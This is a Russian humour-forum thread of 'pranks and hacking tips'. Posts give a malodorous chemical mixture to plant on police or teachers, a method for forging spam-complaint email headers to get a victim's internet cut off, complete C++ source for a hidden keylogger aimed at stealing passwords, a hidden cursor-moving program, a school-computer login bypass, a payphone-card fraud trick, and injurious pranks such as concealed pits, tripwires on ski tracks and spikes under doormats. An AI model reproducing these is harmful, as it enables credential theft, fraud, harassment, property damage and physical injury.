КАРНЭО "И целого Мира мало !"

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » КАРНЭО "И целого Мира мало !" » Юмор » Заподлянки приколюхи учение хакерить ВСЕ ЗДЕСЬ


Заподлянки приколюхи учение хакерить ВСЕ ЗДЕСЬ

Сообщений 1 страница 25 из 25

1

так же анекдоты и просто все что доставляет радость
вот для начала например неплохая заподлянка
Идешь в аптеку, покупаешь по упаковке анальгина и гидроперита. Дома измельчаешь в порошок и смешиваешь, причем анальгина должно быть НЕМНОГО больше, чем гидроперита. Полученная смесь должна храниться на холоде. Уже при комнатной температуре она через некоторое время (10-15 минут) начинает бурно разлагаться с выделением очень вонючего дыма, превращаясь в густую коричневую жидкость :). Вот несколько вариантов применения данной смеси:
- засыпать в полиэтиленовый пакетик, заварить его и положить там, где он попадется на глаза "сотруднику милиции"; он, естественно решит, что это наркотик, и сунет в карман, а в кармане тепло :)
- приклеить скотчем под стул любимому преподу.
- и т.д.
Внутрь лучше не потреблять, а с остальным экспериментируй :).

0

2

Предлагаю вашему вниманию жестокий способ нагадить врагу. Disclaimer: автор не рекомендует применять это на практике, так как описанное может нанести не только моральный, но и материальный ущерб.

Конечно же, все получали по почте спам. Известно, что за рассылку спама провайдер может разорвать договор о подключении к интернету. Это означает, что человек теряет все деньги, которые заплатил за интернет и вынужден искать другого провайдера, если он вообще есть поблизости, если же нет – вообще остается без интернета.

Делается это так: вычисляем провайдера, которым пользовался человек, и шлем ему жалобу на спам. Обычно, если жалоба составлена грамотно и солидно подписана (например, “системны администратор сети завода…”), то человека, отсылавшего спам, отключают. Как показывает мой опыт, это случается в 9 случаях из 10. В качестве улики требуется заголовок письма – информация, которая передается перед текстом письма, но не показывается читателю. Она содержит IP адрес отправителя, маршрут прохождения письма и т.д.

В качестве меры борьбы со спамерами это плохо помогает, зато очень эффективно против недругов. Все, что вам надо - послать поддельную жалобу на спам провайдеру, и врага отключат. Как это сделать? Возьмите любой пришедший вам спам, и посмотрите его служебную информацию.

The Bat показывает служебную информацию, если включить ”клуджи”: Ctrl+Alt+K, если я правильно помню, ну и где-то в менюшках было. Outlook показывает их, если зайти в свойства письма (правая кнопка мыши) свойства, закладка "подробности". Там лежит нечто подобное этому (заголовок из реального спама):

From pk_inbox@rambler.ru Tue Sep 25 17:33:37 2001
Envelope-to: doa81@mail.ru
Delivery-date: Tue, 25 Sep 2001 17:33:37 +0400
Received: from d34.chtts.ru ([213.24.220.163] helo=toporov) <<--IP адрес
by mx3.port.ru with smtp (Exim 3.14 #1)
id 15lsL3-0001rU-00; Tue, 25 Sep 2001 17:33:30 +0400
From: Pasha_K<pk_inbox@rambler.ru>
Subject: Привет!
X-Mailer: Advanced Mass Sender v 3.21b (Buld-In Smtp relay v 2.5)
Mime-Version: 1.0
Content-Type: text/plain; charset="Windows-1251"
Date: Tue, 25 Sep 2001 17:31:07 +0400 <<--Дата и время
Message-Id: <E15lsL3-0001rU-00@mx3.port.ru>

Здесь видно, что письмо получено с IP 213.24.220.163, и рассылалось программой Advanced Mass Sender, специально предназначенной для рассылки спама. Теперь вам надо подменить IP на адрес врага и время на время его пребывания в Сети (Date). Проще всего взять их из реального письма, которое приходило вам от него, и заменить IP и дату (временя) в заголовке. Важно! Использовать не заголовок из этого примера, а именно заголовок спама, пришедшего вам, иначе провайдер может заметить подлог.

Сейчас нужно вычислить, на какой адрес слать жалобу. Сделайте tracert <IP>, и вы получите нечто подобное этому:
Трассировка маршрута к d34.chtts.ru [213.24.220.163].

Нас интересует d34.chtts.ru (тот же адрес есть и в заголовке, но не всегда). Можно догадаться, что d34 – номер линии, а chtts.ru – именно тот адрес, который нас интересует. Надо попробовать postmaster@chtts.ru и webmaster@chtts.ru

Сочиняем текст жалобы… «Доброе время суток! Получил спам предположительно от одного из Ваших абонентов. Пожалуйста, передайте ему привет. Заголовок письма прилагается. С уважением, Фамилия Имя, системный администратор такого-то сервера». Дальше в письмо помещаем наш сфабрикованный заголовок письма, и ждем ответа. Обычно, ответы бывают такие: «спасибо за информацию, привет передали :) юзер отключен». Что и требовалось.



Привет, кул хацкер! Ну как, уже поюзал прогу, исходники которой я выложил в прошлой статье про написание трояна? Прогресс не стоит на месте, и теперь не стоит создавать себе излишний церебральный секс (по-русски - "имение мозгов" [прим.авт.]), выкачивая User.dat с его компа, в надежде отковырять там его L&P. Итак, счастье - дело техники (читай, софта), и оно в твоих руках, хацкер!
Для обеспечения тебя сведениями о логине и пароле врага, а также его мнении о тебе, политике госдуратства :) и пр. в аське, мирке и даже WEB-чате идеально подходит клавиатурный шпион, учебная версия которого (с исходниками) и представлена твоему вниманию. [В статье “Клавиатурный шпион своими руками” даны подробные исходники на ассемблере. Автор крут (я серьёзно). Ассемблер - хороший язык для ускорения прог (особенно при работе с графикой) и компактного кода, но такой код не катит в качестве примера.]
Мои исходники - всё на том же C++, который идеален с точки зрения учебно-познавательно- быстроклепательных целей. Конкретно, тебе понадобится С++ Builder любой версии и немного умения работать в его среде разработки (если умеешь на Дельфях - считай, умеешь работать и на Builder’e :)

Для начала немного теории: в целях упрощения отладки больших и сложных прог (мультипроцессовых и многопоточных) в winAPI включена функция SetWindowsHookEx, которая позволяет перехватывать сообщения виндов, причём фильтруя их (в зависимости от того, какие сообщения важны при отладке [параметр idHook]). Функция на самом деле очень мощная - вот пример, для чего её можно использовать (а ты думал, только кнопки пасти, да ? ;):
WH_CALLWNDPROC - перехват всех сообщений, причём до того как они были посланы системой конкретному окну (это юзает утилита Spy++, входящая в состав Visual C++).
WH_JOURNALRECORD и WH_JOURNALPLAYBACK - сладкая парочка для записи и воспроизведения макросов (в основном использовалась мной для беспредельного глумления над существами с именем Default User :)
WH_SHELL - представь, юзер давит Ctrl+Alt+Del, а вместо Task Manager выполняется твоя функция!
WH_KEYBOARD - ну тут всё и так понятно (используется в прилагаемых исходниках с известной целью :)
Я перечислил не все возможности этой кульной функции, а только те, которые можно поюзать в нашем грязном деле :) Об остальных читай мои статьи под номером NEXT.

Но есть у этой функции своя беда - один из её параметров [dwThreadId] должен указывать на поток, сообщения к которому и следует перехватывать. Если ты укажешь ID главного потока своей проги - получишь клавиатурный ввод только с него, а если этот параметр будет 0 (все потоки) и функция обработки будет находиться прямо внутри твоей проги - нифига не получишь, потому что этот поток будет также принадлежать ПРОЦЕССУ твоей проги (только, к тому же, не будет главным потоком :) Выход из ситуации - создать новый ПРОЦЕСС. Для чего из проги вызывается DLL (при желании можно и EXE) с этой самой “шпионской функцией” ;) Заметь - эту DLL не видно не только по Ctrl+Alt+Del, но и в списке процессов, а всё потому, что новый процесс - “дитё” главного процесса приложения (вот тебе и идея, сыроватая правда, как из процессов проги прятать ;)

А вот и долгожданные исходники - два отдельных проекта;
1) Основная прога (File->New Application, затем удалить “форму” и Unit1.cpp, затем выбрать Project->View Source):
//--------------------------
/* <*.h> - заголовочные файлы, чтобы юзать функции WinAPI и не только их */
#include <vcl.h>
#include <condefs.h>
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
//---------------------------------------------------------------------------
HHOOK hook; // Handle нашей "шпионской" функции
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
// Объявляем тип функции;
// параметры и их тип в скобках указывать не надо - и так работает :)
typedef int (CALLBACK* lpfn)();
lpfn hookfunc; // Конкретный указатель на функцию

// Юзаем нашу DLL
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
// Находим в ней адрес функции, которая и будет шпионить за клавой
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc");

// Запускаем шпиона
hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */
hookfunc, /* функция, которая шпионит */
LoadLibrary("dllhook.dll"), /* её DLL */
0 /* Шпионить за всеми потоками в системе*/ );

while(1) {}; // Зацикливаем прогу, чтобы DLL висела в памяти
}
//--------------------------
2) DLL (File->New..., затем выбрать “DLL”) - обработчик сообщений от клавиатуры:

//--------------------------
#include <vcl.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
//--------------------------
// Объявляем функцию для того, чтобы основная прога могла её поюзать из DLL
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//--------------------------
// "Шпионская" функция
//--------------------------
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f; // Указатель на файл

// Открываем файл с логом на добавление, если его нет - создаём
if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
// Просто пишем код нажатой кнопки в файл, но
// не отслеживаются заглавные/прописные,
// а также нажатие и удерживание одной кнопки.
// (для этого анализируй параметр lParam)
fputc(MapVirtualKey(wParam,2),f);
fclose(f);
}

/* Перед выходом из функции - вызываем нормальный обработчик
сообщений от клавы (что толку от шпиона, если остальные
проги перестанут на клаву реагировать ? :)
*/
return CallNextHookEx(NULL, code, wParam, lParam);
}
//--------------------------
// Функция входа в DLL - её не оставляем как есть
//--------------------------
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}
//--------------------------

Кстати, если ты решил просто поиздеваться над врагом - можно, не меняя кнопки на клаве физически, поменять сообщения от кнопок (раз уж они всё равно перехвачены, никто не обязывает передавать их дальше в исходном виде :)))

З.Ы. Если интересно - про процессы, потоки, очереди сообщений и прочую виндовую лабудень хорошо написано в MSDN. Приведённые выше исходники - не более чем пример программы для “отладки” очередей сообщений под windows, а что ты, перец, с ними делать надумал - знать не знаю ;)
З.З.Ы. Эта прога тестировалась на Win98 и WinXP, - прокатило :)

0

3

Учитывая высокий рейтинг дачного западла, продолжу серию тематических сборничков :). Выйдя на улицу в тапочках спросонья и потеряв их в сугробе :), я подумал, что стоит что-то написать и о снежно-зимнем периоде. Кто сказал, что западло делают только в шортах? Короче, оденься потеплее, валенки одень, носки тройные, трусы на меху, оленью шапку и дедушкину бердянку :). Первый вариант западлянки уже на лицо. Подбегаешь к любой бабушке в своем прикиде и просишь прикурить - обморок минут на десять. Круче электрошока :). Но это для слабоумных и не любящих престарелых, мы же будем гуманными и придумаем что-то более молодежное :). Самый очевидный материал зимой - снег. Сам понимаешь, как не приятно девушке, когда ты ей засовываешь за шиворот снег :). Но опять как-то по детски. В штаны еще куда ни шло :), потом можно и домой звать переодеться :), предлог и все такое. Ну, не маленький уже :). А лучше бери лопатку и, либо рано утром, пока все дрыхнут, либо наоборот поздно ночью, когда все опять же дрыхнут :), иди на самую проходимую тропинку. Ну, то есть, где днем больше всего народа бродит. Только не путай с тропинкой обычную асфальтированную дорогу, а то там уже не лопатка нужна, а что-то посерьезней :). Так вот. Выкапываешь ямку как можно глубже, главное не надорвись. Только не рой глубже третьего этажа, а то жертва разобьется, а тебя посадят :). Потом просто-напросто маскируешь. Как? Либо палками, поставленными в распорку и присыпанными снегом сверху. Либо, к примеру, натяни целлофан и присыпь по бокам, а потом уже и середину. У кого откуда фантазия прет, одним словом :). Если вдруг тебя обнаружат стражи порядка, скажи, что роешь клад :). Если спросят почему зимой, объясни, что весной много нехорошего всплывает :), зимой более гигиенично. Будут предлагать покататься - не соглашайся, скажи, мама не велела с незнакомыми дядями ходить :). Но вернемся к нашим оленям. Намудрил ты свой капкан, теперь топай спать. Нет, ну если хочешь смотреть, окапывайся неподалеку. Многие ходят в походы, в горы лазят, а зимой в частности на лыжах, бордах, коньках катаются. У тебя же свой экстремальный спорт - окапывание в десяти метрах от места преступления :). Зато победа сладка. Наибольший эффект даст, если накопаешь таких ямок-ловушек штук десять. Будет просто супер. Прикинь, идет крутой перец, весь из себя. Типа, типа, оппа... Попался :). Вылез, поматерился, отряхнулся, идет дальше. Типа, типа, оппа... Опять :). Вылез, поматерился подольше, уже насторожился :). После третьего полета начинает думать головой :), ходит уже по правилам минного поля :). Что за правила? Сам не знаю :). Если пойдет опять же бабушка, быстро подлетаешь, объясняешь, что орленок пятой эскадрильи орлят :) и показываешь безопасную тропку. Как объяснял выше, старших надо уважать :). Что можно еще веселого? Ты снежных баб лепил? А на дороге? А больших? Вот и практика. Лепишь взвод баб :) на дороге и ставишь знак осторожно дети :). Осторожно бабы еще не придумали :(. Наблюдать со стороны реально весело. Реакция разная. Кто-то притормозит, посмотрит и кое-как объедет. Кто-то парочку разнесет, запачкается снегом, поматерится и тоже объедет :). Вообще зависит от количества баб :). А для любителей брать на таран - сюрприз. Кирпичная кладка или пенек внутри :). А чтобы совесть не заела - на лбу бабы записка, типа осторожно, тут западлянка :). Кстати о машинах. Если хороший морозец, полей машинку водичкой :). Владелец будет рад. Зверски. Хотя всю обливать - накладно, просто полей замочную скважину. Кстати ничто так не производит впечатление, как снежная баба на крыше автомобиля :). Причем первая мысль увидевшего не про то, как нехорошо сделали, а как оно вообще туда залетело :). Чем смачнее баба, тем выше баллы западлянки. Ну переходим опять к подручным средствам. Заливать можно не только катки, но и горки. Желательно не рядом с домом, а то там нехорошие дворники твое творчество солью посыплют. А вот некий мостик на тудыкудыкиных прудах, расположенных между массивами домов, уже привлекательнее :). Как всегда, позаботься о стареньких, напиши табличку, тут мол скользко, идти по краешку, держаться зубами за поручень. Они в отличии от молодых всегда читают и делают. Ну а ребята будут участвовать в слаломе без правил :). А видел таблички не копать, тут кобель или не копать, а то взлетишь? Сваргань свои. Например, не копать, хранилище банка или не копать, медный провод. Кстати медный провод как заклинание. Даю голову на отсечение, место будет, как после археологических раскопок =). Главное цивильно табличку сделать, чтобы клюнули. Народ нынче ведь тащит все и вся. Иногда даже друг у друга :). Скучно? Бери коньки, пойдем веселиться не по детски :). Только соли захвати. Не из кухни только, а которой дорожки посыпают. Ну и на катке посыпь :). Ты видел бегающих в коньках по асфальту наперегонки? Нет? Увидишь :). Только весь каток не посыпай, а то в футбол играть придут :). А вообще пофантазируй. Например, игра полосы. Сам только что придумал. Ну сам подумай, едешь, бежишь, едешь, бежишь, едешь, бежишь... :). Класс. А в конце катания останутся тапки от коньков :). Индустрия конькостроения резко вверх пойдет :). Ой, а как меня лыжи бесят. Лыжники тоже :). Ну ты понял, вперед к лыжне :). Она длииииинная, приколов масса. Ну опробованный капкан-ловушка само собой :). А можно и еще. Леску, например, натянуть. А впереди написать дихлофосом ярким цветом на снегу "С новым годом, лыжнярез!" Для чего? Ну чтобы все внимание на надпись и не присматривался :). А в надписи, причем, честно написано - лыжнярез :). Западлянку можно развить. Для этого делаешь после этой надписи на разном расстоянии еще таких надписей десять, но уже без лески :). Чувак будет чуть ли не спешиваться в поисках капкана :). Ан, нету. А метрах в десяти натягивай много-много лесок. Чувак, веселый, думает, что раз нету после надписи - уже кто-то попался :). И навеселе с ветерком... Кирдых :). Вот еще вариант. Ставишь в каждую канавку по кирпичу, чтобы выступал над лыжней на пятерку сантиметров, и снежком закидываешь, типа нападало. Экстремальное торможение обеспечено :). Еще? Берешь грабли :). Нет не ослышался, именно грабли. Черенком в сторону движения и утапливаешь. Главное искусно потом лыжню поверх наметить. Шоу еще то :). А главное грабли вернешь. Сделай такое летом и пешеходу - гад по лбу получит, еще обрадуется и унесет :). А тут лыжи на лаптях, палки всякие в руках, по лбу получил и нести далеко :). Оставит, проверено :). А вообще лыжники они хорошие, снег трамбуют :).

0

4

Здоровенько
Вы знаете, как можно довести юзера до белого коления? Ну конечно, конечно знаете много способов. И как диск отформатировать, и как шарик из мышки вытащить. А вы видели выражение лица юзера, наблюдающего как курсор его мышки начинает перемещаться по экрану безо всякого участия со стороны его мышц. Я говорю не об управлении компьютера силой мысли (хотя и такое скоро будет возможно), а о создании программки, которая будет управлять движением мышки. Вы конечно можете возразить, что гораздо проще и быстрее скачать такую прогу из Сети, а самим пойти попить пивка. На такое мнение я могу высказать следующее: во-первых, от большого количества пива наступит пивной алкоголизм :) , во-вторых, если вам лень что-то делать, то ваш уровень IQ со временем будет опускаться, в-третьих, труд превратил обезьяну в человека, а в четвёртых, почитайте труды Interrupt-а, он вам всё объяснит.

Ну на вступление хватит, приступим к работе. Запускаем любимый Visual Basic и выбираем Standard EXE. На форму помещайте Timer и ставьте интервал скажем 50. А у самой формы ставьте свойство Visible в False (она ведь не должна быть видима).

Теперь приступим к коду. Сначала декларируем две функции для работы с положением курсора мыши:

Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long

Далее объявляем тип для хранения 2-D координаты и соответствующую переменную:
Private Type POINTAPI
x As Long
y As Long
End Type
Dim pos As POINTAPI

И ещё несколько вспомогательных переменных:
Dim dx As Integer, dy As Integer ' здесь будут значения смещений
Dim ub, lb

Переменные ub и lb будут содержать значения границ в случае случайного перемещения курсора
Пошли дальше:

Private Sub Form_Load()
ub = 5
lb = -5
App.TaskVisible = False 'делаем программу невидимой в Task Manager
End Sub

И самое главное - код который будет перемещать положение курсора мыши. Пишем его в событие Timer() элемента Timer1:

Private Sub Timer1_Timer()
GetCursorPos pos
Randomize
dx = Int(Rnd * (ub - lb + 1) + lb)
dy = Int(Rnd * (ub - lb + 1) + lb)
SetCursorPos pos.x + dx, pos.y + dy
End Sub

В данном случае курсор мыши будет дёргаться по экрану. Для изменения параметров поэкспериментируйте со значениями lb и ub и Timer1.Interval. Ну это естественно далеко не единственный вариант перемещения курсора. Можете например заставить его падать вниз:

Private Sub Timer1_Timer()
GetCursorPos pos
If (pos.y + 100) <= Screen.Height / Screen.TwipsPerPixelY Then
dy = 1
Else
dy = 0
End If
SetCursorPos pos.x, pos.y + dy
End Sub

Или падать вниз с ускорением:

Private Sub Timer1_Timer()
GetCursorPos pos
If (pos.y + 100) <= Screen.Height / Screen.TwipsPerPixelY Then
dy = dy+1
Else
dy = 0
End If
SetCursorPos pos.x + dx, pos.y + dy
End Sub

Короче, простор для творчества большой. И если вы не совсем лентяи и имеете мозги и знания математики (да-да, её тоже знать надо, поверьте моему опыту программиста), то наверняка создадите какой-нибудь замечательный путь. Для начала можете сделать путь в форме квадрата и круга. Ну а как запускать программу на компьютере жертвы я писать здесь не буду - вы наверняка сами знаете. Ну а если нет, то может в следующий раз напишу об этом И напоследок маленький совет. Когда заняты тестированием программы, добавьте в код события Timer() следующую строку:

If ((pos.x <= 4) And (pos.y <= 4)) Then End

В этом случае программа будет прерываться если вы подведёте курсор в верхний левый угол.

0

5

Хочешь прикольнуться в Новый Год :). То-то же. Ну тогда слухай. В каждом доме есть дядя Вася баклан :), который и так бухает все время, а в Новый Год будет особенно стараться. Берем булавку и одеваем не нее гайку, потом привязываем нить. Желательно использовать капрон, в этом смысле подойдет банальная леска. И втыкаем острым концом в раму сверху (см. рисунок). В период застолья садимся в кусты (ха-ха, кустики) и дергаем за веревку. Соответственно, гайка бьется о стекло и издает пронзительный действующий на нервы стук. А дядя Вася подумает, что пришли друзья и будет то и дело ходить смотреть, кто там стучит :). Сногсшибательно будет, если дядя Вася при этом живет на 12-ом этаже :), но тут без скалолазного снаряжения не обойтись :).

0

6

Ик!И-к!Отмазы от родителей!
Здесь я расскажу тебе о том как можно отмазываться от родителей, если ты пришел поздно домой, далеко не в хорошем состоянии и запахом изо рта, который может свалить даже слона(Хорошая вещь для борьбы c насекомыми :)))
Итак ты вписываешься домой в половине первого ночи, снося все на своем пути.И тут перед тобой появляются образы папы с мамой, которых ты разбудил !!!
Дальше следует диолог такого содержания:
Родители: Ты, где был?
Ты(мямля): Гулял. . .
Родители : Ты знаешь сколько сейчас времени?
Ты(язык заплетается): Нет.
Родители(учуев запах): Так подойди-ка поближе.
Ты(перебираясь по стенке): Что случилось?
Родители(очень громко): Ты пил?!?1?
Ты(чуть не подавившись, тебя тошнит): Нет, я просто плохо себя чувствую, помоему я отравился!?
Родители(громкость на педеле): Фу, как от тебя разит перегаром!!!
Ты(прекрывая рот): Да, это мы с друзьями жевали жвачки с запохом спирта.
Родители(чувствуя себя полными идеотами): Ладно, иди проспись, а завтра поговорим!
Ты сделал свое дело и со спокойной душой можешь идти ложиться спать.

Также можно отмазываться другими фразами:
1.Я не пьяный.
2.Да, я выпил всего одну бутылочку пива.
3.Я пару литров кефиру выпил.
4.На день рождении я перепутал стакан компота со стаканом вина.
5.Меня заставили.
6.Я репетирую. Мы в школе ставим сценку, а я там алкаша играю.
7.Из крана вместо воды пошла водка.
8.Мне сегодня цыганка нагадала, что завтра конец света и я решил напиться.
9.Мам ты же всегда говорила, чтобы я брал пример с папы.
10.Я попал под пивной дождь.
11.Я на день рождении ел конфеты с ликером.
12.Мне поручили важную работу. Я был дегустатором вин.

0

7

Отмазки пргульщиков
Ведь правда часто бывает, что ты опаздываешь в школу
и не можешь найти достойную отмазку. Теперь сможешь!!!!!
3902. Болел
3903. Папа(мама, бабушка, дедушка, тетя, дядя, троюродный брат) умер(ла)
3904. Проспал
3905. Вызывали в военкомат
3906. Квартиру затопило
3907. Сдавал анализы
3908. Застрял в лифте
3909. Очень плотно позавтракал и застрял в дверном проеме
3910. Всю обувь собака погрызла
3911. Услышал о террактах в городе и испугался выходить на улицу
3912. У меня был приступ склероза. Забыл, где школа находиться
3913. Был в гостях на другом конце Москвы, а пока доехал все уроки закончились.
3914. Кто-то в подъезде измазал всю лестницу клеем и я прилип
3915. Вчера мне позвонил какой то человек, и представившись директором школы сказал, что мы сегодня не учимся
3916. Родители не пустили
3917. Идя в школу я встретил обалденную девчонку, которая на день согласилась побыть моим репетитором.
3918. Ехал в электричке(автобусе, троллейбусе, трамвае) без билета и как назло попались злючие кондуктора.
3919. Попал в аварию и меня попросили остаться для дачи показаний.
3920. Мама увлеклась перестирав всю мою одежду и мне не в чем было пойти в школу.
Для химии

3917. Всю ночь проводил опыты и не смог с утра подняться.
3918. В лабораторных условиях получил C2H5OH и не смог прийти.

Для литературы

3932. Ходил в театр
3933. Всю ночь читал "Войну и мир"
3934. Заблудился в Третьяковской галлерее
3935. По дороге в школу встретил известного писателя и заговорился с ним

Для математики

3947. Всю ночь изучал высшую математику, а наутро у меня оквадратились глаза, а голова стала треугольная и я постеснялся идти в школу.
3948. Весь день пытался опровергнуть аксиому.

0

8

Ну наверное у каждого в школе стоит комп и все занимаются информатикой, но всем хочеца узнать что твориться на профиле учителя. ВЫХОД ЕСТЬ! вы пытаетесь войти в его профиль но нужно ввести пароль тогда вы нажимаете alt+ctrl+del и за место икспишного входа появляется 98. и там где пользователь вводишь администратор и заходишь без пароля. потом заходите в пуск и нажимаете на картинку рядом с администратором. И просто удаляете пароль у учителя или меняете его (администратором можно делать все) так будет еще прикольнее. ну а потом выходите из системы и просто заходите в его профиль НО ЕСЛИ У НЕГО ИМЯ ПОЛЬЗОВАТЕЛЯ АДМИНИСТРАТОР ТО НИЧЕГО НЕ ПОЛУЧИТСЯ!!!

0

9

Мир хакерства Это не есть руководство, это есть информация к сведенью... И так, кто же такой хакер? Вы наверняка много раз слышали об этих загадочных людях, а историю Кевина Митника знает каждый человек неравнодушный к сети интернет. Я даже не берусь охарактеризовать это направление увлечения железом и информационными технологиями, настолько оно обширно и многогранно. Но все же можно выделить несколько характерных признаков , объединяющих все представления об этих людях - это: неординарность мышления, стремление к нестандартным поступкам и действиям, развитый интеллект, творческий интерес и неиссякаемый запас энергии. Почему-то все ассоциируют хакеров с ворами и мошенниками, я считаю что хакер - это не тот человек который украл, это тот кто нашел метод по которому можно украсть! Ну а то, что он пользуется своими способностями в целях обогащения, то это вполне объяснимое явление - каждый зарабатывает себе на жизнь тем чего у него лучше всего получается, хотя порой это и выходит сквозь рамки закона. Как говорил вождь мирового пролетариата: "Война батенька - это не только воля и мускулы, это прежде всего идея..." У одних вид пропасти вызывает мысль о бездне, у других о мосте... И так, как развить в себе способность мыслить не так как все (и даже не так как админы, хотя чем админы отличаются от обычных людей я честно сказать не могу, хотя хороший админ - это по сути хакер ;)). Обычно развитие неординарных способностей происходит само собой, в результате возникновения каких либо проблем на почве хорошо знакомой структуры и поиска методов решения этой проблемы путем нахождения нестандартных методов устранения оной. В дальнейшем эти способности легко использовать в других целях, например отлично зная и понимая структуру и принцип работы можно найти метод по которому можно реализовывать любую интересующую задачу, не исключая возможность нарушения целостности этой структуры и продолжения ее функционирования в заданной форме. Вообще я встречал очень мало людей, которым удавалось преодолеть барьер стандартизации и выйти за грани обыденности, хотя это скорей всего к лучшему, потому как если бы это было так легко, не читали бы вы тогда этот текст ;) Ну что, начнем развивать способности ? :)) Далее я предлагаю свой метод самообразования и развития нелогического мышления, через который прошел я ( сразу хочу сказать что я тут не зазнаюсь, а делюсь с тобой частицей моего опыта :)) : 1. С чего нужно начинать. Начинать нужно с самого себя и осознания того что это действительно то, чему ты хотел посвятить свое свободное время и собственно самого себя. Если у тебя есть желание и талант, но нет настойчивости - то у тебя нет ничего :( 2. Для начала советую освоить какой ни будь простеньки но со вкусом язык программирования, к примеру Pascal. Когда научишься решать на нем различного рода задачи, нужно немного затронуть Ассемблер хотя бы на уровне простейших действий: математических операций, ветвления, циклов и работы с регистрами. INT 19h;), благо в Паскале есть возможность вкрапления кусков ассемблеровского кода. Вообще лучше всего учиться работать в среде dos, привыкать к консоли :) Оставить свой PIII для Unreal Tournament, и пересесть за четверку. В дальнейшем, когда придет понимание что язык Паскаль не удовлетворяет всем твоим запросам можно приступить к изучению Delphi или C++ причем язык C является самым сложным в изучении, как вам такие понятия, как инкапсуляция или полиморфизм, а ?. Лично мне пришлась по душе Java. Упор в изучении современных языков нужно делать на сокеты и сетевые приложения. Различные OCX в Visual технологии и конечно всеми любимые API-шные функции... 3. Самым главным источником, движущим прогресс является информация и новости. Подпишись на рассылку компьютерных новостей, покупай журналы, посещай Web сайты интересующей тебя тематики (только не надо лазить по порнухе !) Если ты не знаешь еще в совершенстве английский то прекрасные русскоязычные новости хакерской тематики ты можешь найти на void.ru 4. Если перед тобой встают проблемы, не лезь в книжку или инструкцию, а пытайся найти сам метод устранения этой беды. 5. Изучай протоколы, принципы передачи информации и данных. Самый хороший вариант если в твоем доме есть локальная сеть, это великолепная возможность быстро освоить работу различных служб и протоколов. 6. Следующий этап твоего развития это инсталляция ОС Unix или Linux на твою четверку. Под управлением этих ОС твоя четверка покажется гегагерцовым монстром. Выход и работа в локальной сети и/или сети интернет. Работа с различными службами типа Telneta, почты и др.

0

10

Халявные звонки с карточного таксофона за минуту.
Втавляете карточку, набираете какой-нибудь номер, где заведомо занято, например, 12. Ждете time-out, когда автомат напишет "Абонент не отвечает" (примерно 50 сек ждать придется). В этот самый момент, пока горит надпись (не больше секунды) меняете положение карточки, тоесть, если при нормальном положении чип находится сверху и подальше для юзверя, то вам ее нужно молниеносно вытащить, перевернуть так, чтобы чип был внизу и его расположение на карточке ближе к вам, и опять вставляете. Появляется надпись "Hаберите номер". Hабираете опять, например, 12. И опять ждете time-out, когда пойдут короткие гудки и потом опять появится надпись "Абонент не отвечает".
Теперь делаем следующее, опять же, на все есть только одна секунда. Вытаскиваем карточку, переворачиваем ее в исходное положение (т.е. чипом к верху, так как ее нужно вставлять на самом деле) и вставляем до упора. Появляется надпись "Hаберите номер".
Теперь вы можете со спокойной душой вытащить каточку и положить ее в бумажник, и набирать номер, который вам собственно нужен. Hо лучше карточку просто немного вытащить из таксофона, милиметров на пять, чтобы проходящие мимо люди не задавали лишних вопросов, типа какого и как ты разговариваешь без карточки. В итоге, вы можете говорить хоть всю жизнь, на карточке ничего не убавилось. Hа этот способ нужно примерно минута 50 секунд, если все классно.

0

11

1. Кваpтиpные
1.1 "Ёжик"
     Работает не всегда и сопpяжено с некотоpыми тpyдностями. Внешне метод
     пpост - завеpнyть свежее деpьмо в газетy, насовать в полyчившийся комок
     побольше спичек головками наpyжy (штyк 100-200 в комок с кyлак), затем
     положить это y поpога сyпостатской кваpтиpы, нажать звонок, поджечь
     "ёжика" и сматываться.
     Реакция жеpтвы: видя огонь под двеpью - HЕМЕДЛЕHHО ЗАТОПТАТЬ!..
1.2 "Подполье"
     Пpименяется только в тех слyчаях, когда пpидвеpные ковpики иногда
     выбиваются хозяевами. Сyть дела пpоста - положить что-нибyдь поганое
     под этот ковpик. По пятибальной шкале: 1 - деpьмо (его легко отстиpать),
     2 - дохлое животное или опаpыши (это можно пpосто выкинyть), 3 - жвачка,
     нагpетая на огне (хоть и не отстиpывается, но и пpоблем не создаёт), 4
     - эпоксидная смола (в зависимости от пола может намеpтво пpишпилить
     ковpик), 5 - частокол из коpотких, но пpочных остpых шипов (это и сам
     ковёp пpиведёт в негодность, как только хозяин на него настyпит, и
     хозяинy может повpедить). Hо наилyчшие pезyльтаты полyчаются пpи
     комбиниpовании вышепеpечисленных способов. Кстати, есть ещё один хоpоший
     ваpиант - положить под ковёp много шаpиков. Веpоятна тpавма.
1.3 "Школа"
     Hасовать в замочнyю скважинy склеенных спичек. Лyчше всего - склеенных
     той же эпоксидкой. Есть пpодвинyтый ваpиант - насовать иголок и сломать
     их об кpай замка. В любом слyчае западлённых замок пpидётся менять.
1.4 "Тyман"
     Взять наждачкy и потеpеть двеpной глазок.
1.5 "Сyпеpвызов"
     Пpикpепить к кнопке звонка малюсенькyю канцеляpскyю кнопочкy. Желательно
     клеем, т.к. скоч отклеиться может, да и видно его.
1.6 "Сковоpодка"
     Пеpед самым пpиходом хозяина (за 10-20сек) накалить на огне pyчкy двеpи.
     Эффект гаpантиpован.
2. Автомобильные
2.1 "Пpобка"
     Забить в выхлопнyю тpyбy каpтофелинy сходного диаметpа. Пpичём чем
     глyбже, тем лyчше. Машина пpосто не заведётся.
2.2 "Капyт"
     Hадеть на выхлопнyю тpyбy свисток от чайника. Пока шофёp не догадается,
     в чём дело, он бyдет дyмать, что пpохyдилась помпа и именно она издаёт
     этот пpотивный свист.
2.3 "Коpмyшка"
     Hасыпать на кpышy пшена или ещё какого коpма. Благодаpные птички бyдyт
